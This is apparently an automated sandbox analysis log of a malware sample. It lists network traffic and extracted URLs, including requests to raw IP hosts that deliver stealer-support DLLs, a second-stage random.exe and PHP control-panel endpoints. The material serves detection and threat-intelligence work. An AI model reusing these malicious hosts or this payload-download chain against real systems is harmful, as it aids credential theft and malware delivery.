Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeP
Source: file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll$
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll2
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2571128740.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2571128740.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: file.exe, 00000000.00000002.2569376590.0000000000847000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.2592783551.0000000023AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpv
Source: skotes.exe, 0000001A.00000002.3322657185.0000000000D9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000001A.00000002.3322657185.0000000000D9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/I&
Source: skotes.exe, 0000001A.00000002.3322657185.0000000000D9D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3322657185.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3322657185.0000000000DB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3322657185.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2598067831.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2588245686.000000001D957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 0a6d040b-e460-4f41-8222-47b0ded4465e.tmp.10.dr, ff3144ec-e9e8-448e-af7d-f010f1305e11.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 0a6d040b-e460-4f41-8222-47b0ded4465e.tmp.10.dr, ff3144ec-e9e8-448e-af7d-f010f1305e11.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ff3144ec-e9e8-448e-af7d-f010f1305e11.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
